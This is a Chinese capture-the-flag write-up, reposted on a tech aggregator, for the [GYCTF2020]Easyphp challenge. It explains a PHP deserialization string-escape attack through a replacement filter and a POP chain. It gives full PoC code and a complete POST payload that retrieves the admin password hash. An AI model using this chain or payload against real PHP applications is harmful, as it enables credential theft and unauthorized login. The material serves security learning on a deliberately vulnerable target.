IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> [GYCTF2020]Easyphp -> 正文阅读

[PHP知识库][GYCTF2020]Easyphp

尝试了一下万能密码不行,又到处翻了一下,扫目录结果又有www.zip

审计代码好久,序列化和sql结合的题还是第一次见,太菜了呀,花了很久时间才理解这个题

首先看到update.php,这个文件是最亮眼的,逻辑是只要我们登陆成功就输出flag,所以要想办法怎么能登陆成功,

看了一圈貌似没办法伪造$_SESSION[‘login’]===1,它的sql都是PDO预编译的,但是发现好像有办法获得某个用户的密码

利用点应该在这里, 把dbCtrl类的nametoken属性的值改为admin,使其执行后能返回查询admin用户的结果

  if ($this->token=='admin') {
            return $idResult;
        }

update.php

<?php
require_once('lib.php');
echo '<html>
<meta charset="utf-8">
<title>update</title>
<h2>这是一个未完成的页面,上线时建议删除本页面</h2>
</html>';
if ($_SESSION['login']!=1){
	echo "你还没有登陆呢!";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){
	require_once("flag.php");
	echo $flag;
}
?>

跟进来看一下,初始化一个User类并调用它的update函数,我们看一下这个update函数

上来就是执行了一个反序列化,那这个反序列化函数后面的代码我们可以先不看,它执行了攻击效果就产生了,我们接着跟进getNewinfo()函数

 public function update(){
        $Info=unserialize($this->getNewinfo());
        $age=$Info->age;
        $nickname=$Info->nickname;
        $updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
        //这个功能还没有写完 先占坑
    }

这里我们可以传两个参数进去,都是可控的,传进Info类里经过序列胡以后再过滤

public function getNewInfo(){
        $age=$_POST['age'];
        $nickname=$_POST['nickname'];
        return safe(serialize(new Info($age,$nickname)));
    }

注意这里过滤的逻辑是替换,那就很可能产生序列化字符串逃逸

function safe($parm){
    $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
    return str_replace($array,'hacker',$parm);
}

构造pop链:

UpdateHelper类的destruct方法触发user类的tostring方法
user类的tostring方法触发Info类的call方法
Info类的call方法调用dbCtrl类的login函数

那个token我们赋值为admin

poc:

<?php
class User
   {
       public $id;
       public $age="select password,id from user where username=?";
       public $nickname=null;
       public function __construct($nickname){
        // $this->id=$id;
        // $this->age=$age;
        $this->nickname=$nickname;
    }   
   }
   class Info
   {
       public $age;
       public $nickname;
       public $CtrlCase;
       public function __construct($CtrlCase){
        //    $this->age=$age;
        //    $this->nickname=$nickname;
           $this->CtrlCase=$CtrlCase;
       }   
   }
   class UpdateHelper
   {
       public $id;
       public $newinfo;
       public $sql;
       public function __construct($sql){
        // $this->id=null;
        // $this->newinfo=null;
        $this->sql=$sql;
    }   
   }
   class dbCtrl
   {
    public $hostname="127.0.0.1";
    public $dbuser="root";
    public $dbpass="root";
    public $database="test";
    public $name="admin";
    public $password;
    public $mysqli;
    public $token="admin";
   }


$c=new UpdateHelper(new user(new Info(new dbCtrl())));
$c = '";s:8:"CtrlCase";' . serialize($c) . "}";
$length = strlen($c);
$c = str_repeat('union', $length).$c;
echo $c;

payload:

age=1&nickname=unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:45:"select password,id from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";N;s:6:"mysqli";N;s:5:"token";s:5:"admin";}}}}}

在这里插入图片描述

md5解密得到admin的密码

在这里插入图片描述

登陆以后页面显示出flag

在这里插入图片描述

我感觉这个题的不好理解的点还在这里:

return safe(serialize(new Info($age,$nickname)));

之前我们做的反序列化题目大多是全称自己构造,构造好了提交payload直接进行反序列化,但是这个题不一样,它这里写死了反序列化是从new Info( a g e , age, age,nickname)开始的,首先我们刚刚反序列化的入口在UpdateHelper类的destruct方法,其次它这里还是写死了只给操作两个参数,并没有给Info类的第三个参数$CtrlCase,但是好在存在一个反序列化逃逸。

逃逸过程:

我们先看到new Info( a g e , age, age,nickname),那这个类它反序列化出来字符串大括号{}里面只有俩元素,一个age的键值对一个nickname的键值对(这么说也不太严谨,就是那个意思吧),然后操作空间就来了,紧接着这个反序列化好的字符串进到safe函数里进行一个反序列化字符串的逃逸,nickname可以很长,union被替换成hacker等方式都可以用来进行逃逸。这里我们就可以利用这里把我们提前跑好的payload逃逸出来。

逃逸目标:

O:12:"UpdateHelper":3:{s:2:"id";s:0:"";s:7:"newinfo";s:0:"";s:3:"sql";O:4:"User":3:{s:2:"id";s:0:"";s:3:"age";s:45:"select password,id from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";s:0:"";s:8:"nickname";s:1:"1";s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:7:"noob123";s:6:"dbpass";s:7:"noob123";s:8:"database";s:7:"noob123";s:4:"name";s:5:"admin";s:8:"password";N;s:6:"mysqli";N;s:5:"token";s:5:"admin";}}}}

这个是放在Info类的nickname里作为字符串出现的,为了保证Info类序列化的可用性,我们需要把这些字符串逃逸到Info类的第三个属性$CtrlCase里

O:4:"Info":3:{s:3:"age";s:1:"1";s:8:"nickname";s:2868:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerher";s:8:"CtrlCase";O:12:"UpdateHelper":3:{s:2:"id";s:0:"";s:7:"newinfo";s:0:"";s:3:"sql";O:4:"User":3:{s:2:"id";s:0:"";s:3:"age";s:45:"select password,id from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";s:0:"";s:8:"nickname";s:1:"1";s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:7:"noob123";s:6:"dbpass";s:7:"noob123";s:8:"database";s:7:"noob123";s:4:"name";s:5:"admin";s:8:"password";N;s:6:"mysqli";N;s:5:"token";s:5:"admin";}}}}}";s:8:"CtrlCase";N;}

Info:这个类的结构是很简单的,注意看我选中的部分其实在逃逸前都作为字符串隶属于nickname,逃逸后我们构造的";s:8:“CtrlCase”;跑了出来并且和我们的payload形成新的键值对,并在末尾加了一个闭合,这样我们构造的就可执行了

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Nu8CU11S-1667187302883)(C:\Users\HP\AppData\Roaming\Typora\typora-user-images\1667177388375.png)]

最终执行的:

safe(serialize(new Info(‘1’,’ "unionunionunion…union;s:8:“CtrlCase” ; ’ . serialize(new UpdateHelper(‘’,‘’,new user(‘’,‘select password,id from user where username=?’,new Info(‘’,‘1’,$d)))) . " } " )))

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-11-05 00:06:00  更:2022-11-05 00:06:14 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年4日历 -2024/4/25 11:35:52-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码